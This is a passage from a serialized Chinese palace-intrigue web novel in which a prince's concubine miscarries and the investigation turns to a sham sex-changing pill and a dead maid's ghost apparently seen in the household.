好在这一次,陛下仁慈,没有直接痛下杀手,只是将这些人以及其家眷,尽数发配至许州了。 正好那边缺人放羊,过去干活吧! 至于李烨,被乱箭射死,崔玄明痛快地命人将其斩首,之后装匣准备返京领功。 许昭昭听着许柱子讲着外面的一些事,偶尔用手指轻叩几下桌子,她面无表情,眼神冷漠,没人知道她到底在想什么。 “主子,最新的消息是,忠王府的姜孺人又有喜了,但时日尚浅,而且她暂时瞒下了自己有喜的消息,不知道是不是有什么其它打算。” 许昭昭听到这个消息,眼睛倒是一亮。 这个姜宁,安分一阵子后,还真让她觉得无聊了。 “除了姜孺人之外,如今忠王府里最得宠的是哪个?” “有两位,其中一位的身份低微,听闻是被下面的官员进献的,出身清楼,但是入王府时还是个清倌,所以只是侍妾;还有一位则是江南富商送过去的,虽说身份低贱,但是家中银钱颇丰,很得忠王看重。” 许昭昭点头,机会这不就来了嘛! 闲着也是闲着,正好可以看看姜宁的好戏。 许昭昭眼珠子滴溜转,琢磨着这次要借着姜宁坑谁才最合适! 忠王的宠妾,只要不是姜家派系的人送去的,那就是姜宁的对头,所以等于是自己的盟友。 那不能嫁祸这些人,不合适,而且也有点儿于心不忍。 女子不易,不该背的锅,还是尽量不要给她们扣了。 那就直接朝姜家下手? 许昭昭唇角微勾,她好像有想法了,真要是办好了,兴许真能给姜家一记重击呢。 “柱子,你去办件事,这次若是办好了,重重有赏!” “请主子吩咐,小的一定办妥。” 许昭昭笑一声:“附耳过来!” 第456章 小产了 忠王府,一名小丫环疾步进入屋中,屈膝道:“禀姜孺人,奴婢已经打听清楚了,平康坊内的确是一有一位擅断孕妇腹中胎儿是男是女的婆子,熟悉的人,都唤她一声张道婆。” “确定过了?可信吗?” “回姜孺人,奴婢亲眼看到一对婆媳抱着孩子前去他家中道谢,还说幸亏早早地服用了转胎丸,否则怕是又要再生出一个丫头片子来。” 姜宁的脸色不虞,丫环心里咯噔一下子:“回姜孺人,奴婢刚刚只是在重复那对婆媳的话。” 姜宁可是去年生了一位小姐的,如今再次有孕,也不知道能否为王爷诞下一位小公子。 “你亲眼所见?” “是,除了奴婢之外,还有不少的街坊邻居都瞧见了。奴婢还特意近前去看了那妇人怀中的孩子,长的白白胖胖的,并且确定是个小郎君。” 姜宁点点头:“做的不错,下去吧。” “是,奴婢告退。” 姜宁现在其实是有几分犹豫的。 严格来说,现在的忠王不缺儿子。 但是她不一样,没有儿子,她在忠王府的地位就会一直不稳。 就好比这次孙茜自尽一事,如果自己有儿子傍身,那么王爷对她的态度就不会转变得这么快。 姜宁现在已经被现实给磨平了棱角。 刚刚重生那会儿,她可是信心满满,一心想着扶持忠王上位,觉得只要有姜家的支持,这天下早晚都是忠王的,到时候,她便可以狠狠地羞辱安王。 可是她没想到,她现在的确是在扶持忠王,但只是一个小小的妾室,连上辈子的半分风光都比不上! 要知道,上辈子她可是风光无限的安王妃。 早知道会这样,她就不会选择扶持忠王这条路了,她应该还是如同前世一样嫁给安王,然后再好好地利用手上的权势以及自身的地位,先为姜家谋利,这样,安王日后登上皇位,也不敢对姜家下手。 可惜,悔悟来得太晚了。 重活一世,好像只有她的日子是一天不如一天,反观许昭昭,她反而活得更肆意,更尊贵了。 这凭什么呢? 姜宁突然想起来,上辈子的许昭昭手底下可没有那么多的能人,而且她自己也并非是什么点金手,更不是什么福星! 为什么这一世全都变了? 突然,一个危险又令她震惊的想法蹿出来,吓得她好半天没有回过神来。 她可以重生,许昭昭为什么不可以? 也只有许昭昭重生这一种可能,才能解释为什么这一世的许昭昭更有钱、更有地位了。 所以说,是她和许昭昭都重生了,但是许昭昭却越过越好,只有她是越来越差? 这也太不公平了! 这一刻,姜宁恨不能直接杀了许昭昭,凭什么要来跟自己争机遇! 几天后,忠王府内传来一声惨叫,姜宁的衣裙上沾着不少血迹,院子里的丫环奴仆们慌乱地开始想办法自保。 谁能想到,姜孺人会突然出事? 等到忠王妃赵月赶过来的时候,已经有几个婆子将人扶到了屋里躺下,另外又有人去请大夫了。 赵月问过几位有经验的嬷嬷之后,才知道姜宁小产了。 赵月皱眉:“姜孺人信事未至一事,为何不曾有人报上来?” “禀王妃,不是奴婢们不报,而是奴婢们也不知道呀!” 赵月大怒:“你们这群人日夜伺候姜孺人,连她有孕了都不知晓?” 很快,就有人将姜宁身边的两个下人推出来。 “禀王妃,近来都是她二人近前伺候的,奴婢们连主子的屋门也进不去呢。” 赵月的确是很生气,如果姜宁这一胎怀的是儿子,那么姜家必然会向忠王这边倾斜。 谁能想到,月份尚浅,这便没了。 直到姜宁再次醒来,得知自己竟然小产了,一时间又急又气,竟是再度晕厥过去。 赵月看着这样的姜宁,只觉得她实在是不争气。 一手好牌,生生被打得如此之烂,连有孕了都护不住自己,这样的人,到底是怎么成为京中人人称赞的贵女的? 就凭着一张脸,还是一个好出身? 赵月失望地摇摇头,回到自己的主院,得知王爷还未归,只得暂时将此事压下。 “去膳房那边吩咐一声,之后一月内,姜孺人的饮食都要有所照料。不该出现的东西,绝对不可以有。要尽快让姜孺人养好身体。” “是,王妃。” 赵月深吸一口气,眼下忠王这里的银钱还算是够用,但是没想到姜宁会在这个节骨眼儿上小产了。 “来人,” “王妃,奴婢在。”应声的是赵月身边最得力的管事嬷嬷。 “你亲自去一趟姜府,将姜孺人小产一事说明白,记得大夫是如何说的,你便如何转达,另外,就说是我说的,姜孺人如今体虚且心焦,希望能有姜家人过来探望一二。” “是,王妃,奴婢这就去办。” 赵月转转眼珠,正好也借此机会试试姜家人对姜宁的态度,如果姜家来人,那姜宁就还有些用。 如果姜家连这种事都置之不理,那姜宁的存在,真就没有多大意义了。 外面对于姜家的风言风语未止,忠王府又特意给送来这样的消息,姜家人自然是有些不满。 但思来想去,姜宁到底也是姜家的外嫁女,而且孺人也是有品级的,他们不能真地不闻不问。 所以,二房的宋氏带着人以及一些补品,去忠王府探望。 姜宁整个人都像是生无可恋一般,嘴里嘀咕着:“有人要害我!有人要害我!” 宋氏皱眉,这话她听到了,就不能装作什么也没发生。 “劳烦这位嬷嬷给带个路,我想去给王妃请安。” “您稍等。” 赵月自然也知道宋氏的来意,毕竟姜宁这样碎碎念也不是刚刚才有的。 “此事我已经派人去查,但是姜孺人如今意识不清醒,只是说有人要害她,可是又问不出什么要紧的消息来。府上倒是查出来,先前她身边伺候的一个小丫头接连几天都往外跑,但是具体见了什么人,做了什么事,我也不好直接问,毕竟,她也是你们姜家送过来的。” 第457章 是她要害姜孺人 这话让宋氏的脸色微微窘迫两分:“不敢质疑王妃,只是看到姜宁如今这样子,心生唏嘘罢了。不知您刚刚提到的是哪个小丫环?可有命人审问?” “人就在姜孺人院中,我已经派人查了府中膳房的饮食以及所有人手,都没有问题。最主要的是,此事闹出来之前,阖府上下只有姜孺人身边的两个奴婢知道她有喜了,其它人都不知道,所以如何害她?” 这话说的就有意思了。 别人都不知道她怀孕了,怎么可能会想着害她小产? 所以,这十有八九就是姜宁自己的臆想。 宋氏也没想到会是这样,但既然都开口过问了,还得硬着头皮继续应付。 “谢过王妃了。眼下她这状态的确是不太好。既然王妃也有疑心的对象,那不如一同问一问?若真是姜宁身边出了吃里扒外的东西,自然也不能轻饶。” 赵月点点头:“也好。只是如今姜宁还在养身体,她那院子里也不好再闹出大动静来,不如就到前面去审问,姜二夫人以为如何?” “一切但凭王妃作主。” 忠王刚回府,便听说了姜宁小产一事,待进得前厅,看到姜家二夫人也在,便知道此事可能不简单。 “给王爷请安。” “快快免礼。” 按说宋氏也是长辈,所以忠王虚扶一把,然后自己到主位上落座。 很快,姜宁身边的两个奴婢被带过来问话,其中一个是真的什么也不知道,只知道姜宁信事未至,她也提醒过姜宁,但是姜宁只说自己请大夫看过,所以只是正常的推迟,并非喜脉。 她这一番说辞,并没有被另一人指责,想来就是真话了。 另外一个小丫环,则是一脸慌张地低着头,手指都在跟着抖,明显这是知晓内情的。 “你叫什么?在姜孺人身边伺候多久了?”赵月先发问。 小丫环额头紧贴着地面,声音听着也是颤颤微微的。 “回王妃,奴婢,奴婢叫小莲,在姜孺人身边伺候有一年多了。奴婢是姜孺人的陪嫁,刚开始的时候只是负责院子里的洒扫活计,直到一年多前才被提到了姜孺人身边伺候的。” 所以,这小丫头还的的确确是姜家的家生子。 “说,你是何时知晓姜孺人有喜的?” “回王妃,奴婢是上个月知道的。那会儿姜孺人有些呕吐的症状,再加上信事未至,所以奴婢便特意去请了一名外面的婆子进来给姜孺人请脉。然后被确定是喜脉。” “既是知道喜脉,为何不曾上报?”这句话是忠王问的。 他不缺儿女是一回事,但是在自己不知情的情况下,突然少了一个孩子,这就是另外一回事了。 “回王爷,是,是姜孺人说不急,先养一养,等过些日子胎坐稳了,再请大夫来诊断,确定之后,再将这个好消息禀报王爷。” 宋氏松一口气,如此安排,倒也没有毛病。 毕竟生活在王府内宅,姜宁这么做,也只是想要小心地护住自己腹中孩子,并且担心会是婆子误诊,所以才这样安排。 赵月见这丫环越抖越厉害,明显是还有事情未曾禀报。 “说,你还瞒了什么?” 谁想这句话问出来之后,小丫环竟是扑通一声,整个人都趴在了地上,好半天没能说出一个字来。 赵月拧眉,这就是姜家的家生子? 怎地这般没有规矩且胆小畏事! “来人,将她架起来,让她抬头。” “是,王妃。” 小丫环被两个仆妇架起,强行抬起她的下巴,这一刻,众人才看清楚,小丫环的脸色苍白,唇无血色,满头的大汗。 不用问,必然是做了心虚之事。 “说!姜孺人腹中胎儿遭遇毒手,可是你所为?” “奴婢冤枉呀!奴婢不敢!启禀王妃,奴婢什么也没有做呀。是,是今天早上冯侍妾过来给姜孺人请安,还同姜孺人一起说了会儿话,她前脚走,姜孺人后脚便出事了。” 冯侍妾? 宋氏皱眉,看向主位的赵月:“不知这位冯侍妾是?” 赵月也没有隐瞒:“不过是下面的人特意送来服侍王爷的,在京城并无根基,且入京时间也不过才几个月。” 忠王阴着脸:“来人,将冯侍妾叫来!” “是,王爷。” 不一会儿,去叫人的婆子只身回来,小声回道:“奴婢去请冯侍妾时,发现冯侍妾整个人都不对劲,而且瞧着病得厉害,但是王爷吩咐的话,奴婢不敢不听,所以,已经命人将其抬过来了。” 话落,又过了几息时间,才有动静传来。 冯侍妾被人用一滑杆抬过来,被几个奴婢搀扶着下来,然后进屋说话。 冯侍妾的脸色很不好,原本就瘦弱的她,此时看上去更是令人怜惜。 “扶冯氏坐下。” “是,王爷。” 冯侍妾原本艳丽的樱桃小口,此时也是看着惨兮兮的。 赵月最是见不得这等狐媚子手段,不耐烦道:“冯氏,我且问你,今日你何故去寻姜孺人?” 冯侍妾此时喘得厉害,忠王命人立马将备着的热汤端过来,给她喝下几口之后,这才缓过来。 “回王妃,奴不敢说谎,是昨日姜孺人派人来找,说是想要跟奴学习一些弹奏琵琶的技巧,所以奴今日才带着琵琶上门。奴未待太久,离开后,又察觉王爷赏赐的耳环少了一只,便折回去取,不想,竟是听到了她们主仆二人叙话,奴一时受惊,险些晕倒,还是被嬷嬷给扶回去的。” 冯侍妾自知身份低微,所以一直都是谨小慎微,甚至是以奴自称。 赵月一个眼神,很快,今早陪着冯氏去姜孺人院中的仆妇也被叫过来了。 这名仆妇身形健硕,也难怪能将瘦若无骨的冯氏给扶回去。 “回禀王爷王妃,当时奴婢离得稍远,并未听真切屋里人说什么,但是能明显判断出是姜孺人的声音。后来奴婢看到冯侍妾脸色不对,且身形微晃,这才几步过去将人扶住。” 也就是说,只有冯氏听到了她们主仆在说什么? 未等赵月开问,小莲便突然暴喝一声:“你胡说!你根本就没掉什么耳环,你怎么可能会听到主子说话?就是你害了我们姜孺人!” 第458章 转胎丸 大家都不是傻子,小莲突然间的暴喝,自然是更引人生疑。 冯氏更是因为这一嗓子而吓得全身发抖,眼神都飘忽不定,像是失了魂魄一般。 忠王皱眉:“将她的嘴堵了!” 冯侍妾又被身边的奴婢安慰几句之后,这才渐渐地平静下来。 赵月对冯氏这样出身卑微的女子,向来没有好感,无非就是仗着年轻有几分好颜色,所以才能谋得一条生路。 如今这番作派,委实令赵月不喜。 但事关王爷子嗣,而且冯氏刚刚的话,明显就是还有什么不得了的大事,否则,也不会被吓成这样。 冯氏情绪缓和下来之后,眼泪便开始吧嗒吧嗒地掉。 “王爷,王妃,还请您二位为奴作主!” 冯氏竟是直接抛开身边的人,直接跪下去了。 忠王自然是心生疼惜,连忙上前将人扶起来,然后又温声细语:“别怕,有本王在,看谁敢欺负你!” 冯氏似乎是得到了鼓励,又抽答两声之后才道:“王爷,奴听她们主仆二人在屋内说话,言语间提到了一位张道婆,隐约还听到了转胎丸。” 冯氏小心翼翼地瞄一眼王爷后,小声道:“还听她们提到了吴姐姐。” 冯氏口中的吴姐姐,便是江南富商之女,如今身怀有孕,所以一直都深入简出,只为了保胎。 这话不仅忠王神色一凛,便是赵月也明显严肃起来。 “你说的可是真的?真提到了张道婆?” “回王妃,奴不敢撒谎,她们主仆二人说是什么将男胎转换成女胎,这是张道婆的得意之作,手到擒来!” 忠王的脑子里闪过一个大胆的想法,而赵月快速与其对视一眼,显然也想到了。 吴侍妾有孕不足三月,民间传闻,妇人孕期不足三月时,胎儿性别未定,可以用秘药或者是秘法将胎儿的性别转化。 当然,这只是民间的一些谣传,据太医署那边给出的答案,自然是觉得这一切皆为无稽之谈。 但架不住愚民多,总会有人相信。 而且越是穷困之家、没有男丁的家庭,越是容易相信这种说法。 但姜宁身为姜氏女,应该不至于如此轻信吧? “你可知说的是哪个张道婆?” 冯氏摇头:“奴不知。” 忠王轻抚她的背,以示安慰。 “让她说!” 忠王指向了小莲。 小莲嘴里的东西被取出,此时却是吓得神魂不属,一脸惊恐地摇头,竟然还想着往外跑! 跑肯定是跑不了的。 仅凭着她这番心虚的作派,便知道冯氏所言,七成为真。 “本王再给你一次机会,若是你不说实话,本王就命人将你绑到太阳底下,然后宛若剐鱼鳞一般,一刀一刀地削在你身上,再疼,你也求死不能!” 什么叫狠? 这才叫狠呀! 小莲被吓破了胆,连连磕头求饶。 “奴婢不知道,奴婢真的什么都不知道呀!奴婢只是奉命去寻那位张道婆,但是具体寻张道婆何事,奴婢真的不知情。” 赵月冷声厉斥:“还在狡辩!你去寻的哪个张道婆,姜氏又命你寻她说了什么、做了什么,一五一十交代清楚,否则,你便等着受死吧!” 小莲彻底地被吓到,整个人哭得狼狈至极。 “回王妃,是平康坊的张道婆,姜孺人命奴婢去查实那位张道婆是否真的有本事,还要让奴婢多去查访几家,以确定张道婆是有真本事的。其它的,姜孺人并没有吩咐奴婢,所以奴婢真的不知情呀。” “那转胎丸一事,可是实情?” 小莲吸吸鼻子,既然起了头,后面的话说起来就越来越顺了。 “回王爷,张道婆手上的确有转胎丸,而且奴婢了去问了几户人家,的的确确是在用了她的转胎丸后,家中才生下了男婴。姜孺人也的确是命奴婢去打听过,若是怀了男胎,是否能转为女胎。张道婆说只要心诚,再加上她的秘药,一切都不是问题。” 男胎转女胎? 这种事,一定不会是姜宁在为自己问,毕竟她已经生了一个女儿,若想要在忠王府地位稳恩,自然还是要生个儿子才行。 所以,这男胎转女胎的问话,一定是在替别人问。 如今忠王府内,可就只有吴氏一个孕妇了。 听到此处,宋氏心中有些怀疑的同时,又有几分懊悔。 她就不该参与进来。 现在弄成这样,如何收场? 况且,她若是不在场,也便罢了。 如今自己在场,自然就要问清楚,甚至还要尽力为姜宁脱罪,否则,姜家名声怎么办? 宋氏现在都要恨死姜宁了。 早知道一旦跟姜宁扯上关系就没有什么好事! 她真不该来! “王爷,王妃息怒,此事还是要查问清楚,既然她们都提到了这个张道婆,那不妨将人叫来当面对质。正好我如今还未曾离开王府,也不曾指使下人出去,否则,等我离开后这张道婆再出什么意外,我可就说不清楚了。” 宋氏不开口则已,一开口,就是令人信服的无辜。 她主动提出来去寻这位张道婆来查验真伪,且言词间大大方方,没有丝毫避讳之意,这是笃定了姜宁不会信这些胡沁的东西,还是相信姜宁的人品? 宋氏如此淡定,赵月反而不好真地让人去寻这张道婆查证了。 真撕破脸了,于忠王府有何好处? 姜太傅和姜贵妃,如今圣宠仍在,就算是姜延辉暂时没有实权,但是听闻他掌控着姜家在暗地里的一些人脉和消息网,这可不是能随便得罪的人。 今日之事,最好就是一切都只是个误会。 无论是冯氏所言,还是这个小莲所供,都只能证实姜宁想寻张道婆查证一些事,并不能证明,姜宁找张道婆做一些腌臜事。 赵月神色微敛:“小莲,本妃再问你,姜孺人可曾让人买转胎丸?” “不曾。姜孺人只是差小的去打听真伪,想要确定这个张道婆是否有真本事而已,并不曾买下转胎丸。” 宋氏悄悄松了一口气。 还好,只要没买转胎丸,那一切就都是空口无凭! 第459章 大白天闹鬼了? 到这一步,无论是忠王还是赵月,其实也都明白,可以了,不能再查下去了,至少他们知道姜宁并没有买转胎丸就可以了。 宋氏此时仍然一脸淡定:“王爷,王妃,还是派人去请一下这位张道婆吧,免得日后再出现差错,姜孺人也洗不脱罪名。” 她越是如此,忠王和赵月就越是不敢真地去核实。 因为他们觉得既然宋氏能如此镇定,那就表示姜宁一定不曾参与其中。 但若是他们真派人去查,就显得他们与姜府有隔阂了。 可也不能就这样糊里糊涂地结案,况且,事实上小产的是姜宁,可不是那个吴侍妾。 赵月看懂了王爷的暗示,只得派人去平康坊寻那位张道婆过来回话。 张道婆的名声不小,所以稍微一打听,便能找到其住处。 很快,张道婆就被人一路引着进入王府,这张道婆越走,这腿就越软。 谁能想到,她一个普通老婆子,还能有幸被请到王府来? 张道婆颤颤微微地行过礼,然后抖着身子等着问话。 赵月指着地上的小莲问:“你可认得她?” 张道婆弯下腰,认真瞅了两眼:“认得,她来找过民妇,还打听过一些女子生产的事。” “可有跟你打听过转胎丸?” 张道婆脸色一变,要知道,这转胎丸可是朝廷明令禁止的。 但凡是在外头开药铺或者是开医馆的,没有哪一个敢明目张胆地这样卖转胎丸。 因为朝廷不允许! 别以为现在的医学设备不发达,所以就都是庸医了。 早就有不少医者提出来,有孕后,孩子性别便已注定,不可更改。 而所谓的转胎丸、生子秘方等等,很大概率则是会让产妇生下一个畸形儿、甚至是死胎。 所以,朝廷才会明令禁止! 张道婆知道此处是忠王府,自然更不敢承认。 “没,没有的事。民妇岂能做那种事!” “本王再给你一次机会,若是不说实话,你们全家都得下狱!” 扑通! 张道婆立马跪下磕头:“王爷饶命呀!民妇就只是为了讨口饭吃,再说民妇也并没有真地弄什么秘药,那,那转胎丸其实就是民妇用面粉和一些适合孕妇服用的补药一起做的,都是民妇一时糊涂,只为了能给自己挣口饭吃,民妇可不敢害人呀!” 小莲瞬间瞪大眼睛,所以说自己打听到的那些,都算是什么? 宋氏目光清冷地看向她:“你身上可带了转胎丸?” “回贵人,民妇身上只带了两颗。” “交出来。” 张道婆不敢迟疑,立马将东西拿出来。 忠王一个眼神,便有太医开始查验。 “回王爷,主料的确是面粉,至于里面用到的一些药材,也都于孕妇无碍,吃了之后,顶多就是能让孕妇胃口大开,多吃一碗饭。” 如此说来,这张道婆并未撒谎。 所以说,姜宁并不曾从她手里买转胎丸,而张道婆手上的转胎丸也没有乱七八糟的功效。 那么问题来了,姜要小产,又是怎么一回事? 赵月发现,审了一圈,好像又绕回来了。 忠王的耐心也即将耗尽,恰在此时,小莲突然瞪大眼睛:“不对!姜孺人未曾服用转胎丸,可是从昨日至今,姜孺人一直都只是入口了膳房送的东西,姜孺人又不曾摔倒,那怎会突然小产?” 小莲这一声惊呼,就差明说,这是膳食有问题了。 宋氏眸光微暗:“王爷,王妃,依我看,这个贱婢也说不出什么要紧的消息了,先带下去关着吧。姜孺人那里还得有人照料,还得劳烦王妃费心。” 赵月明白她的暗示:“二夫人放心,本妃定然会将她照顾好。但是这丫头刚刚的话也不无道理,还是要尽快查清,毕竟王府还有一位吴侍妾也有孕在身,若是这府里头当真有人心怀不轨,当尽早揪出。” “您说的是。” 忠王不明白姜宁小产,是怎么将冯氏牵扯出来的,先是听出来好像姜宁要对吴氏不利,如今绕一圈,好像又没有这个问题。 怎么就觉得这么烦躁呢? 事实上,赵月和宋氏也很烦,她们也想不通,冯侍妾何故要将吴氏和这个张道婆牵扯出来。 再说了,就算是听到了她们主仆的对话,也不至于吓成这样呀! 除非,这里面还有内情? 二人也都算是有经验的内宅主母,自然瞬间就想到了一处。 她二人齐齐将目光对准了冯侍妾,忠王自然也察觉到了。 “冯氏,你仔细说说,听到她们主仆讨论了什么?何故会吓得一病不起?” 这才是疑点! 冯氏听到这话,脸色瞬间变白,扑通一声跪下:“王妃恕罪,奴,奴实在是不敢说呀!” 忠王皱眉,倒是宋氏眼神一转:“王爷,还是将这些不相干的人都退下吧。” 赵月也是微微颔首,显然冯侍妾刚刚没把话说完。 忠王一声令下,厅内再无闲杂之人。 “说!” 冯侍妾顿时带着哭腔道:“回王爷,奴之所以被吓到,并非只是听到了她们主仆对话,奴还看到了一个人,她,她当时就躲在了姜孺人的院中,奴原以为自己看错了,所以揉一揉眼睛之后再看过去,便不见其踪影,但奴越想越怕,只以为自己大白天撞了鬼,这才吓得浑身无力。” 赵月觉得冯氏说话又开始拐弯抹角,厉斥道:“直接说看到何人了!” “回王妃,奴,奴看到了年前就被杖毙的婢女小桃。” 赵月蹭地一下子起身:“你说看到了谁?” 冯侍妾低头:“奴不敢撒谎,当真就是小桃,当时她站在耳房的拐角处,藏在阴影里,当时奴只以为是看错了,可奴回去后越想越觉得就是她,奴还亲眼看到了她当时手上拿着一个笸箩,那笸箩便是之前她常用的一个,身上穿的那一身衣服,并非是咱们王府下人的服制,反而是之前您赏给她的那一身。” 赵月也跟着吓白了脸。 这个小桃,当初可是她下令杖毙的。 现在怎么会突然出现在了姜孺人的院中? 真是大白天闹鬼了? 第460章 人心惶惶 忠王听得糊里糊涂,还是身后跟着的管家将事情解释一番。 这小桃是年前无意中冲撞了王妃,所以被其下令杖毙的。 可一个已经死了的人,怎么会突然出现在姜孺人的院子里? 难道姜孺人小产,其实就是这个小桃害的? 是小桃的冤魂回来报仇了? 可是这也不对呀! 当初下令杖毙她的是王妃,所以她要报仇也应该是去找王妃呀,怎么会去找姜孺人? 事情越来越离谱,也越来越吓人! 宋氏听到此处后,心情就更为放松了。 只要证明了此事中姜宁只是一个纯纯的受害人,那便一切都妥当了。 但是,今日之事,一切都是有人在暗中布置的,又岂会让宋氏称心如意? 别以为姜宁小产了,所以她就是苦主,就可以装傻扮可怜了! 至于那个小桃,忠王自然是不信鬼神之说,所以即刻派人去搜! 但是搜遍了姜孺人的院子,也没有找到那个小桃,但是在一杂务间里,找到了小桃之前常用的笸箩,所以直接带过来了。 小桃以前就是针线房的婢女,所以时常带着笸箩做针线活。 尤其是到了春夏之时,更是经常坐在廊下,晒着太阳,做一些女红。 也正是因为去岁时她过于专心自己的女红,所以未曾及时向王妃行礼,才引得王妃动怒。 其实严格说起来,小桃也是倒霉。 那日王妃心情不佳,原本就是怒气冲冲而来,小桃这算是撞到枪口上了。 王妃身边的嬷嬷低头,有些心虚。 那日王妃之所以会处置小桃,主要就是因为王妃自姜孺人那里受了气,所以才会拿小桃来泄愤。 也不知是不是因为如此,所以小桃的魂魄回来,才会第一时间去找姜孺人报仇。 此事,也算是不了了之。 还怎么查? 难道真是闹鬼了? 不管怎么说,姜孺人都算是受了无妄之灾。 而且姜宁后来在宋氏的授意后,只说是自己听闻坊间有此秘闻,想要让人去查查是否有人在故意愚弄百姓,背后之人是否与李烨有关,所以才会安排人去查。 至于为什么会怀疑到李烨身上? 那是因为当初李烨逃离京城时身边的一位嬷嬷就曾擅长此计,更是因此而帮着李烨拉拢到了几位小官吏。 当然,最后也都被处置了。 姜宁的这个说法,好像挑不出什么毛病来,出发点,还是为了王爷。 所以,此事还真怪不到姜宁头上。 此事暂且告一段落,而那个张道婆则是直接送官法办。 因为张道婆手上并无人命案,所以只是罚些银钱了事。 而宋氏回到家后,将此事说与夫君听,总觉得心中不安,这里面应该还有一些别的隐情。 “已死之人,怎会在光天化日之下出现?这分明就是那冯氏胡诌之言,你也信?” “可是的确找到了小桃曾用过的笸箩,那上面还有她的名字,错不了的。” 姜延辉摇头:“此事必定是有人在暗中搞鬼。” 据说,当天晚上,忠王府内便又出了一起闹鬼事件。 赵月身边的一位资深嬷嬷,竟然自己主动上吊了。 这可太吓人了! 因为就在晚上休息前,她还得了王妃的夸赞,而且底下的人还特意过来捧着她,甚至还有人主动将自己的女儿送给她的儿子作小呢。 正是春风得意之时,可谁能想到,不过短短几个时辰后,便发现她在自己屋内自缢,且在屋内并没有找到任何的打斗迹象,连个外人的脚印儿都没找到,难道真是自杀了? 也不知道是谁先喊了一句:“小桃被杖毙,虽说是王妃下的令,但我记得当时就是她主动提出来的,王妃只是点了点头,之后便是嬷嬷下令将其杖毙!” 这下子,所有人都慌了。 消息传至主院,赵月自然也吓坏了。 忠王已经入宫参加朝会,所以并不在府中。 赵月昨日原本就因为小桃鬼魂一事而吓得不轻,没想到早上一醒来,便先听到了嬷嬷自尽的消息。 下面人私自的一些小闲话,赵月自然也都知道了。 身为王妃,威仪自然还是有的。 “传令下去,若是再敢有人胡言乱语,直接打出去!” “是,王妃。” “让人好好去查,看看到底是怎么回事。” “是。” 忠王府此时从上到下,全都人心惶惶。 原本还在为了自己小产而悲春伤秋的姜宁,在得知这个消息后,竟然也顾不上什么难过不难过了,只剩下了恐惧! 对,就是恐惧! 别人兴许只是拿小桃鬼魂杀人一事当个闲话来传,但姜宁是真信呀! 原因无它,因为她自己就是重生回来的,所以既然她能重生,那为什么小桃就不能死而复生呢? 姜宁自己吓自己,当场就晕了。 底下人倒是没有想太多,只以为是姜孺人因为小产一事,本就伤心体虚,如今再得知这样一个吓人的消息,一时间接受不了,这也是再正常不过的事。 管家查了一个多时辰之后,人都麻了。 因为在嬷嬷的屋子里,找到了小桃被杖毙时所穿的那身衣裳,也就是冯氏昨天在姜孺人院中看到的那身穿着。 这下子,小桃鬼魂回来复仇的流言,那是愈演愈烈,根本就压不住了。 消息甚至还流出王府之外,因为小桃还有一个姐姐,几年前赎身嫁人,如今经营着一家羊肉汤铺子,旁边正好就是做胡饼和笼饼的。 这样一来,正好一些歇脚客过来要了东家的胡饼或者是西家的笼饼,在她这里吃一碗热乎的羊肉汤,美着呢! 小桃去岁被杖毙,最好给她收尸的,就是这位羊肉汤铺子的老板娘。 就在忠王府人心惶惶之时,小桃的姐姐这里收到了一对银镯子,极有分量。 来送镯子的,正是忠王府的下人,小桃以前的好姐妹,说这对镯子是去年夏初时,小桃做的女红得了王妃的赏识,故而赏下来的。 “小桃活着时,就想着将这对镯子送出来,说是想给她的外甥女,只是可惜她身份卑微,没有出府的自由。如今这东西,总算是送到你手上,我也算是了了一桩心愿,可以安心离京了。” 第461章 半夜里烧纸钱 小桃的事件在快速发酵,短短几天,已经席卷了整个京城。 此事,就连陛下和曲皇后也都各自听到一些风声。 曲皇后打发人去了一趟忠王府,她是皇后,对于庶皇子,也要做做样子的。 “回禀皇后娘娘,忠王妃病倒,忠王也日渐消瘦,奴婢到了忠王府后派人去问,这才得知,就在昨日,曾经言语间欺凌小桃的一位婢女早上醒来发现口不能言,舌头发僵,连进食饮水都困难。” 这倒是奇了。 “可曾让大夫看过?” “回禀娘娘,已经有大夫看过,但是听闻接连换了两个大夫,都说查不出毛病来。” 曲皇后还真不确定闹鬼一事的真假了。 若是这婢女的舌头直接被人割了,或者是死个人等等,这极有可能就是人为的。 但现在是一个婢女突然间舌头僵硬,不能说话,连吃喝都困难,这怕是非人力所能为。 这话,也就是心里想想,可不敢说出来。 “还问出什么来了?” “奴婢今日去看过,除了王妃院子里一位曾经欺负过小桃的婢女夜里突然被人打了几十鞭子之外,王妃院中一切安好。” “你说一个婢女被人打了几十鞭子,竟然毫无反应?” “正是,这也是奴婢不解之处,那婢女身上的的确确伤痕累累,而且她也的确是不曾在夜里发出声响,与她同屋住的共有四位婢女,没有任何人听到异样的响动,更没有看到有人鞭打她,但事实就是她身上的的确确挨了几十鞭子。” 曲皇后听得都有些头皮发麻了。 一两件事,兴许是人为的。 但这都是几件了? 堂堂亲王府,一位资深嬷嬷自缢,一位孺人小产,如今又多了两桩奇葩事,这的确是令人难以置信。 “禀娘娘,奴婢还打听到了坊间的那家羊肉汤铺面,那里的老板娘的确是小桃的姐姐,奴婢去的时候,很多人都围在一起看那对银镯子,有王府出来的人说,的的确确是贵人赏的。但王府下人从没听说过哪位婢女赎身离京的。” “小桃的姐姐并未说谎,当时她去送东西的时候,就在铺子里,铺子里外都有食客,可以证实的的确确是一位姑娘送过来的,也因此,这件事才会被传开,都赞小桃是一位好妹妹。可谁能想到,王府那边查过半年来,并无任何婢女婆子赎身离府,这才怪异!” “那镯子呢?”曲皇后越来越不淡定。 “回娘娘,那镯子奴婢已经同忠王妃确认过了,她自己不记得,但是她身边的管事嬷嬷记得很清楚,就是去年赏给小桃的,而且王妃的私库的账册上也有记录。” 要是这么说来,一切简直就是天衣无缝呀! 所以,小桃死后,这镯子到底是放在何处了? 为何在小桃死后这么久,才送到她的姐姐手上? 曲皇后再一回想查到的事情,又觉得自己想多了,身为王府婢女,自然是有等级之分,小桃这样的人不能随意出府,其它仆从亦然。 所以说,此事还成了一桩无头公案了? 但她是皇后,显然不能只信鬼神之说。 “来人,将宫正司的人叫来,此事定要好好查查,堂堂亲王府,皇家威仪,岂能被民间百姓肆意议论?” “是。” 永安帝也听说了这件事,原本还想着让京兆府去查查,得知皇后派宫里人去查了,也便暂时不做安排。 说到底,这也是忠王府的家事。 不过,因为这件事,永安帝对忠王的印象越来越糟。 连自己的府邸都管不好,还弄出来什么鬼神之论,简直就是不成体统! 尤其是当永安帝得知此事的起因,竟然还是姜宁时,整个人都不好了。 早知道这个姜宁是这样的祸害,当初说什么也不能让她进忠王府。 皇后派出的人查的很快,但是怎么交差,的确是个问题。 